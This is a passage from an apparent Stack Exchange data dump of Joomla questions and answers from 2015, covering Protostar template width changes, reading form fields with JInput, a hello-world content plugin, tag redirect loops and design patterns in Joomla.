LastActivityDate="2016-01-21T23:36:37.827" Title="Is it possible to pass data to custom form fields files from a loaded form?" Tags="|joomla-3.x|fields|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7441" PostTypeId="1" CreationDate="2015-02-04T07:18:40.740" Score="1" ViewCount="9827" Body="&lt;p&gt;The default (container) width of the protostar template is set for 960px, in the default responsive Static layout. I need the protostar template to remain in the responsive Static layout, yet with the width of 1150px, in the responsive Static layout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I change the fixed (container) width (960px to 1150px) in the responsive Static layout, of the default protostar template?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand, I may need to create a new css file and possibly add to another file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can tell me all of the necessary steps, in order to change the fixed width from 960px to 1150px, staying in the responsive Static layout of the default protostar template, it would be really Very Much Appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank You Very Much&lt;/p&gt;&#xA;" OwnerUserId="3646" LastActivityDate="2016-04-18T11:09:38.780" Title="How do you change the width of the container size of the default Protostar template that comes with Joomla 3.3.6" Tags="|joomla-3.x|templates|layout|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7442" PostTypeId="2" ParentId="7439" CreationDate="2015-02-04T07:33:50.937" Score="2" Body="&lt;p&gt;The easiest way is to use the &lt;code&gt;$_POST&lt;/code&gt; inside your field class like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$input = JFactory::getApplication()-&amp;gt;input;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Retrieving_request_data_using_JInput&quot; rel=&quot;nofollow&quot;&gt;See&lt;/a&gt; the reference for &lt;code&gt;JInput&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Though it feels like a bad design I do not see any other option how to pass the data there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also you can access the data of your current form in your field class like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$formData = $this-&amp;gt;form-&amp;gt;getData();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You will get a &lt;code&gt;Registry&lt;/code&gt; object containing the data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to update your dropdown list based on your report_Id dynamically then you will need some JS skills.&lt;/p&gt;&#xA;" OwnerUserId="3" LastEditorUserId="3" LastEditDate="2015-02-04T11:42:20.387" LastActivityDate="2015-02-04T11:42:20.387" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="7443" PostTypeId="2" ParentId="7441" CreationDate="2015-02-04T07:47:38.357" Score="1" Body="&lt;p&gt;You should change the &lt;code&gt;templates/protostar/css/template.css&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.container,&#xA;.navbar-static-top .container,&#xA;.navbar-fixed-top .container,&#xA;.navbar-fixed-bottom .container {&#xA;width: 940px;&#xA;}&#xA;.span12 {&#xA;width: 940px;&#xA;}&#xA;.offset12 {&#xA;margin-left: 980px;&#xA;}&#xA;.container {&#xA;max-width: 960px;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But it is possible that these changes will be overwritten on next update. I advice you &lt;a href=&quot;https://docs.joomla.org/Modifying_a_Joomla!_Template&quot; rel=&quot;nofollow&quot;&gt;to copy&lt;/a&gt; the Protostar template and make the changes you need.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: Since Joomla 3.5.0 you can create a custom CSS file at /templates/protostar/css/user.css which will be loaded automatically and won't be overwritten by future updates to the template.&lt;/p&gt;&#xA;" OwnerUserId="3" LastEditorUserId="120" LastEditDate="2016-04-18T11:09:38.780" LastActivityDate="2016-04-18T11:09:38.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7444" PostTypeId="1" AcceptedAnswerId="7465" CreationDate="2015-02-04T07:49:34.150" Score="2" ViewCount="118" Body="&lt;p&gt;I have cloned &lt;a href=&quot;https://github.com/dbhurley/framework-app&quot; rel=&quot;nofollow noreferrer&quot;&gt;Framework Sample Application&lt;/a&gt;. Updated using &lt;strong&gt;composer&lt;/strong&gt;, everything worked fine. Got this welcome screen which congratulates saying &lt;strong&gt;installation is completed.&lt;/strong&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Kw4D3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when i enter my &lt;strong&gt;db_credentials&lt;/strong&gt; to update setting and click &lt;strong&gt;update database link&lt;/strong&gt;.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/6BLIF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;it gives me &lt;strong&gt;not found page&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3SDGL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Am i missing some &lt;strong&gt;steps&lt;/strong&gt; here ?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="487" LastEditorUserId="487" LastEditDate="2015-02-04T07:57:22.420" LastActivityDate="2015-02-05T07:16:07.690" Title="Problem on Joomla Framework Sample Application Setup" Tags="|joomla-framework-1.x|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7445" PostTypeId="1" CreationDate="2015-02-04T09:54:44.047" Score="0" ViewCount="890" Body="&lt;p&gt;I have included a hidden field in my form with this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;reporter&quot; value=&quot;&amp;lt;?php echo $this-&amp;gt;item-&amp;gt;reportid; ?&amp;gt;&quot; /&amp;gt;  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but I can't access it in my &lt;strong&gt;view.html.php&lt;/strong&gt; using this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$sample = $_POST['reporter'];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there something I missed? Does this have something to do with Joomla?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE #1: I used this code below regarding JInput but still I can't get the value for reporter.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$input = JFactory::getApplication()-&amp;gt;input; &#xA;$test = $input-&amp;gt;get('reporter');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2308" LastEditorUserId="2308" LastEditDate="2015-02-04T10:17:29.120" LastActivityDate="2015-02-04T11:58:18.093" Title="Can't get hidden field via $_POST / JInput" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="7446" PostTypeId="1" AcceptedAnswerId="7447" CreationDate="2015-02-04T10:16:11.273" Score="0" ViewCount="398" Body="&lt;p&gt;I am new to Joomla plugin development and I am trying to build a basic Hello World plugin.&lt;/p&gt;&#xA;&lt;p&gt;What I want is for the text &amp;quot;Hello World&amp;quot; to appear in the front-end after the article title.&#xA;I am running Joomla 3.3.6.&#xA;The following is my code base:&lt;br&gt;&lt;br&gt;&#xA;/helloworld/ &lt;br&gt;&lt;br&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;helloworld.xml&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;br&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;utf-8&amp;quot;?&amp;gt;&#xA;    &amp;lt;extension version=&amp;quot;3.3&amp;quot; type=&amp;quot;plugin&amp;quot; group=&amp;quot;content&amp;quot; method=&amp;quot;upgrade&amp;quot;&amp;gt;&#xA;            &amp;lt;name&amp;gt;plg_content_helloworld&amp;lt;/name&amp;gt;&#xA;            &amp;lt;author&amp;gt;Test Author&amp;lt;/author&amp;gt;&#xA;            &amp;lt;creationDate&amp;gt;04/02/2015&amp;lt;/creationDate&amp;gt;&#xA;            &amp;lt;copyright&amp;gt;None&amp;lt;/copyright&amp;gt;&#xA;            &amp;lt;license&amp;gt;GNU General Public License&amp;lt;/license&amp;gt;&#xA;            &amp;lt;authorEmail&amp;gt;me@memail.com&amp;lt;/authorEmail&amp;gt;&#xA;            &amp;lt;authorUrl&amp;gt;http://www.example.com&amp;lt;/authorUrl&amp;gt;&#xA;            &amp;lt;version&amp;gt;1.0&amp;lt;/version&amp;gt;&#xA;            &amp;lt;description&amp;gt;Simple Hello World Plugin that prints &amp;quot;Hello World&amp;quot; at the beginning of every article.&amp;lt;/description&amp;gt;&#xA;            &amp;lt;files&amp;gt;&#xA;                    &amp;lt;filename plugin=&amp;quot;helloworld&amp;quot;&amp;gt;helloworld.php&amp;lt;/filename&amp;gt;&#xA;                    &amp;lt;filename&amp;gt;index.html&amp;lt;/filename&amp;gt;&#xA;            &amp;lt;/files&amp;gt;&#xA;    &amp;lt;/extension&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;helloworld.php&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php&#xA;    &#xA;    // no direct access&#xA;    defined('_JEXEC') or die;&#xA;    &#xA;    class plgContentHelloworld extends JPlugin&#xA;    {&#xA;        public function onContentAfterTitle($context, &amp;amp;$article, &amp;amp;$params, $limitstart)&#xA;            {&#xA;                            return &amp;quot;&amp;lt;p&amp;gt;Hello World!&amp;lt;/p&amp;gt;&amp;quot;;&#xA;            }&#xA;    }&#xA;    &#xA;    ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Empty index.html&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;I have set the &amp;quot;Show Intro Text&amp;quot; value on the article to all possible values and it still does not work. I am also struggling to find any decent resources online for Joomla Plugin creation. Does anyone know of any?&lt;/p&gt;&#xA;" OwnerUserId="3647" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2015-02-04T18:37:29.063" Title="Joomla 3 template plugin is not working" Tags="|joomla-3.x|plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7447" PostTypeId="2" ParentId="7446" CreationDate="2015-02-04T11:18:50.220" Score="0" Body="&lt;p&gt;You can show a text near the required position changing the event to onContentBeforeDisplay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In general, Joomla Docs is the best site for documentation. For instance , content events &lt;a href=&quot;https://docs.joomla.org/Plugin/Events/Content&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Plugin/Events/Content&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Beyond plugin development, that can be very tricky, there are many options to introduce a text after an article text. For example, &lt;strong&gt;with a layout override&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-02-04T11:18:50.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7448" PostTypeId="2" ParentId="7445" CreationDate="2015-02-04T11:58:18.093" Score="1" Body="&lt;p&gt;Why you need to access it in your View? Probably the best way to access it is in your Controller. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway please be sure that you post your data right as @Lodder mentioned. Check that your action attribute contains the right component and task. Or you should put some hidden fields in you form to post it to the needed controller and task:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;option&quot; value=&quot;com_mycomponent&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;task&quot; value=&quot;controller.task&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3" LastActivityDate="2015-02-04T11:58:18.093" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7453" PostTypeId="1" CreationDate="2015-02-04T18:01:57.033" Score="-1" ViewCount="441" Body="&lt;p&gt;I have a component that has a view. The problem I'm having is that the view for the component is being rendered before the template, and then the template is overwriting it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can put debugging in and see that the component's controller and view are being correctly loaded, but then when I put debugging in the template after that, the html that was part of the component are gone. The template is starting over completely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The result is that the template is loading empty, without the view that should be in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is this happening, and how can I get the view to render inside the template?&lt;/p&gt;&#xA;" OwnerUserId="19" LastEditorUserId="19" LastEditDate="2015-02-04T18:34:55.760" LastActivityDate="2015-02-05T10:07:07.027" Title="The component view is rendering before the template and is being removed" Tags="|component|templates|view|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7454" PostTypeId="2" ParentId="3579" CreationDate="2015-02-04T18:12:56.300" Score="0" Body="&lt;p&gt;If you are looking for a sample mvc component developed in joomla3 you can view &lt;a href=&quot;http://a2znotes.blogspot.in/2015/02/creating-joomla-mvc-component.html&quot; rel=&quot;nofollow&quot;&gt;this link&lt;/a&gt; having several samples component with admin and site, with acl or without acl, with all form field types.&lt;/p&gt;&#xA;" OwnerUserId="321" LastActivityDate="2015-02-04T18:12:56.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7455" PostTypeId="2" ParentId="7441" CreationDate="2015-02-04T18:34:27.643" Score="1" Body="&lt;p&gt;The width is set it the file &lt;code&gt;templates/protostar/css/template.css&lt;/code&gt;, as Dmitry pointed out, but because the Protostar template is part of core Joomla, any changes might be gone when you update Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, create a copy of the template (if you haven't done it already). Instructions can be &lt;a href=&quot;https://docs.joomla.org/J3.x:Modifying_a_Joomla!_Template#Copy_an_Existing_Template&quot; rel=&quot;nofollow&quot;&gt;found here&lt;/a&gt;. Use any name you like, but avoid spaces and special characters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally I find the Protostar &lt;code&gt;template.css&lt;/code&gt; file a bit messy (almost 7500 lines of code). I think it's better to create a new file for your CSS overrides. Call it whatever you like (I use &lt;code&gt;custom.css&lt;/code&gt;), and place it in the &lt;code&gt;templates/YOURTEMPLATENAME/css/&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now edit the file &lt;code&gt;templates/YOURTEMPLATENAME/index.php&lt;/code&gt;. Just before the closing &lt;code&gt;&amp;lt;/head&amp;gt;&lt;/code&gt; tag (aprox. line 121), add the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;  $doc-&amp;gt;addStyleSheet(JUri::base() . 'templates/' . $this-&amp;gt;template . '/css/custom.css', $type = 'text/css', $media = 'screen,projection');&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This should load your CSS file after everything else. Add any changes to this file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.container,&#xA;.navbar-static-top .container,&#xA;.navbar-fixed-top .container,&#xA;.navbar-fixed-bottom .container {&#xA;width: 1130px;&#xA;}&#xA;.span12 {&#xA;width: 1130px;&#xA;}&#xA;.offset12 {&#xA;margin-left: 1170px;&#xA;}&#xA;.container {&#xA;max-width: 1150px;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Edit: Since Joomla 3.5.0 you can create a custom CSS file at /templates/protostar/css/user.css which will be loaded automatically and won't be overwritten by future updates to the template.  &lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="120" LastEditDate="2016-04-18T11:09:09.270" LastActivityDate="2016-04-18T11:09:09.270" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7457" PostTypeId="1" CreationDate="2015-02-04T18:56:30.550" Score="1" ViewCount="1084" Body="&lt;p&gt;When I click a tag that is assigned to at least one article I get the message: &lt;em&gt;The page isn't redirecting properly. Firefox has detected that the server is redirecting the request for this address in a way that will never complete&lt;/em&gt; (This is when using firefox). When I click on tags that are not assigned to articles, they can be opened.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In another browser the error is :&#xA;&lt;em&gt;The website at &lt;a href=&quot;http://website.com/tags/35-tag&quot; rel=&quot;nofollow&quot;&gt;http://website.com/tags/35-tag&lt;/a&gt; seems to be unavailable. The precise error was:&#xA;Too many redirects&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't really know what's with &lt;em&gt;too many redirects&lt;/em&gt; or how to fix my broken tag pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update1:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked my tags table, and saw that one of the tags that doesn't work has for its alias the aliases of all the other tags. For example the tag &quot;cool cars&quot; has the alias &quot;tag-a/tag-b/cool-cars/sports/tag-c/...etc&quot;. I expected the tag “cool cars” to have the alias “cool-cars”. In the database in the urls field I see this value: &lt;code&gt;{&quot;0&quot;:&quot;{\&quot;urla\&quot;:\&quot;\&quot;}&quot;}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update2:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I exported that tag to have it as an example, deleted that tag and the rest still don't work. After I switched off friendly URLs and URL rewriting this is the error I get for the tag TOP, assigned to some articles: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1054 - Unknown column 'top' in 'where clause' SQL=SELECT alias FROM dh5w1_tags WHERE id = 2362-top&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3644" LastEditorUserId="115" LastEditDate="2015-02-05T07:20:30.567" LastActivityDate="2015-03-07T08:11:29.580" Title="This page isn't redirecting properly when clicking a Joomla tag" Tags="|joomla-3.3.x|tags|redirect|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7458" PostTypeId="2" ParentId="7457" CreationDate="2015-02-04T19:03:57.220" Score="2" Body="&lt;p&gt;This is looping behavior, but I can't pinpoint the cause from the information given.  What it is implying is that it's trying to link &lt;a href=&quot;http://website.com/firstaddress&quot; rel=&quot;nofollow&quot;&gt;http://website.com/firstaddress&lt;/a&gt; to redirect to &lt;a href=&quot;http://website.com/secondaddress&quot; rel=&quot;nofollow&quot;&gt;http://website.com/secondaddress&lt;/a&gt;  and that &lt;a href=&quot;http://website.com/secondaddress&quot; rel=&quot;nofollow&quot;&gt;http://website.com/secondaddress&lt;/a&gt; either links to firstaddress or something different, throwing the whole site into an endless wild goose chase for the ultimate correct page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Steps to correct:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Turn off url rewriting. &lt;/li&gt;&#xA;&lt;li&gt;If the urls behave correctly with SEF urls    off, the problem is in&#xA;the words used.&lt;/li&gt;&#xA;&lt;li&gt;Words could be as simple as using the word &quot;media&quot; as one of your&#xA;tags, with &quot;media&quot; being a folder already used as a default Joomla&#xA;core folder name, thus its use in a URL might confuse the rewrite&#xA;system.&lt;/li&gt;&#xA;&lt;li&gt;If the urls behave incorrectly with SEF urls off, you have a problem&#xA;with the system itself, but the errors you get with SEF off should&#xA;be more descriptive (we hope!)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="23" LastActivityDate="2015-02-04T19:03:57.220" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="7459" PostTypeId="1" CreationDate="2015-02-05T02:00:28.713" Score="6" ViewCount="1019" Body="&lt;p&gt;This question can be &lt;strong&gt;vague&lt;/strong&gt;, so i narrow down and list down &lt;strong&gt;some points&lt;/strong&gt; i want to know.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;What are the design patterns used in Joomla (Just a list of them).&lt;/li&gt;&#xA;  &lt;li&gt;In Which section of Joomla architecture those design patterns are used. (Indication only).&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Some of the design pattern i noticed that are used in Joomla are &lt;strong&gt;singleton&lt;/strong&gt;, &lt;strong&gt;factory&lt;/strong&gt; and &lt;strong&gt;observer&lt;/strong&gt;. I know there are &lt;strong&gt;some other&lt;/strong&gt; too, so i want to know them. Any help will be appreciated &lt;/p&gt;&#xA;" OwnerUserId="487" LastActivityDate="2015-02-05T06:11:13.413" Title="What are the Design Patterns used In Joomla?" Tags="|joomla-3.x|design-patterns|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7460" PostTypeId="5" CreationDate="2015-02-05T02:04:46.087" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2015-02-05T02:04:46.087" LastActivityDate="2015-02-05T02:04:46.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7461" PostTypeId="4" CreationDate="2015-02-05T02:04:46.087" Score="0" Body="This tag is for questions related to design patterns in software development. Structural, behavioral and creational are the types of design patterns." OwnerUserId="487" LastEditorUserId="168" LastEditDate="2015-02-05T11:47:53.623" LastActivityDate="2015-02-05T11:47:53.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7462" PostTypeId="2" ParentId="7408" CreationDate="2015-02-05T05:09:21.157" Score="1" Body="&lt;p&gt;The Standard Shipping module worked for me in Australia (see below).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UK postcodes are a little different and you may have to search the downloads and forums on the Virtuemart website for a UK postcode compatible version of the module.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create a Shipper.&lt;/li&gt;&#xA;&lt;li&gt;Create Shipping Rates as required as per the example below.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/96tOa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2015-02-05T05:09:21.157" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7463" PostTypeId="2" ParentId="7275" CreationDate="2015-02-05T05:57:01.930" Score="2" Body="&lt;p&gt;A couple of thoughts/options:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Since the separate databases share the same user credentials, you might be better served creating an authentication plugin for your website which authenticates against your mobile application database.  This way, when a user logs into the mobile application they already have a transportable session.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Joomla core comes with other authentication options and there are many available through the extension directory.  You could use Gmail, LDAP, cookies (core) or find a more robust offering from a third party developer for Facebook, OAuth2 or two factor authentication.  The idea here being to abstract authentication to a third party service handle sessions which both your mobile and website application have application access keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3) Create a public facing endpoint you could execute a RPC from the mobile app to Joomla.  There a good article (link below) on doing this.  You could authenticate the post with the session token from the mobile app, having Joomla query the mobile database to verify it is legitimate and then server required content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/JSON_Responses_with_JResponseJson&quot; rel=&quot;nofollow&quot;&gt;JSON Response with JResponse - Joomla CMS&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ultimately, my answer would be to migrate to just one authentication authority; whether its Joomla, your mobile database or a third party service.  If not, suggestion three would be your next best bet provided you don't send user credentials in plain text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I must contest your closing sentence however!  :)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Notice the username and the password are NOT encrypted, and security is not important here.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Security is &lt;strong&gt;always&lt;/strong&gt; important, regardless of personal perceptions.  You are exposing your user base to unnecessary risk with the assumption.  For example, one human error often exploited is everyone's propensity to use the same one or two passwords for everything.  Meaning once a system has been exploited, the hackers will turn around and attempt to use those same credentials in other web services for a wide variety of nefarious activities; none of which end up well for the victims.  In addition, you are exposing yourself and your hardware to unnecessary risks.  You might wake up one day to find your website selling viagra, or get an insane bill due to usage because your server has been hijacked and acting as a proxy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck&lt;/p&gt;&#xA;" OwnerUserId="1906" LastActivityDate="2015-02-05T05:57:01.930" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="7464" PostTypeId="2" ParentId="7459" CreationDate="2015-02-05T06:11:13.413" Score="3" Body="&lt;p&gt;That's an interesting question,  I hope this thread get some traction; as it is one I've asked periodically throughout my years working with Joomla.   It's also a topic I feel which can provide insights to all levels of programmers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I asked a far more experienced programmer the same question, he said Joomla has lots of examples of hybrid and loose implementation with a few pure examples.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now for my two sense!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;MVC Architectural Pattern - probably most popular paradigm for structuring an application and its files for software development currently.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Command Pattern - The JHtml::_ and JText::_ classes resemble this pattern, although I'm not well versed on its official class diagram and would appreciate any insights.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Registry Pattern &amp;amp; Abstract Factory Pattern - An example of a hybrid approach I mentioned earlier in my opinion, in that the intent mimics the patterns but execution doesn't follow UML to the letter.  JFactory would be the class which I'm referencing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Strategy Pattern - A good example of this would be how JDatabase abstract factory handles implementation of database drivers through separation of concerns.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now that you have peeked my interest on this topic again I will try and do some more research and hope other more knowledgeable developers can provide insights, corrections or clarity!&lt;/p&gt;&#xA;" OwnerUserId="1906" LastActivityDate="2015-02-05T06:11:13.413" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="7465" PostTypeId="2" ParentId="7444" CreationDate="2015-02-05T07:16:07.690" Score="2" Body="&lt;p&gt;The problem is that you have installed it in the subfolder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In case Bootstrap is not working you should copy &lt;code&gt;css&lt;/code&gt;, &lt;code&gt;js&lt;/code&gt; and &lt;code&gt;img&lt;/code&gt; folders from &lt;code&gt;/vendor/twbs/docs&lt;/code&gt;. &lt;/p&gt;&#xA;" OwnerUserId="3" LastActivityDate="2015-02-05T07:16:07.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7466" PostTypeId="2" ParentId="7419" CreationDate="2015-02-05T08:11:59.907" Score="1" Body="&lt;p&gt;You can compare them with &lt;code&gt;JFactory::getDate('now -1 day')&lt;/code&gt; like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;created &amp;gt; JFactory::getDate('now -1 day')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;modified &amp;gt; JFactory::getDate('now -1 day')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1520" LastActivityDate="2015-02-05T08:11:59.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="7467" PostTypeId="1" CreationDate="2015-02-05T09:18:53.730" Score="0" ViewCount="767" Body="&lt;p&gt;Back-end is very slow. I just installed J3.0.1 core - no extensions, no templates, no anything extra - just a raw naked Joomla. ... And the back-end is annoyingly slow. Even, the front end is not fast J2.5 is much faster even with dozen of heavy 3rd-party components installed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anybody else, who is experiencing the same (or I have to look for the reason somewhere else)?&lt;/p&gt;&#xA;" OwnerUserId="3653" LastActivityDate="2015-02-05T10:04:46.980" Title="why Joomla 3.0.1 is slow - both back end and front end" Tags="|joomla-3.x|" AnswerCount="1" CommentCount="1" ClosedDate="2015-02-06T21:40:44.287" ContentLicense="CC BY-SA 3.0" />
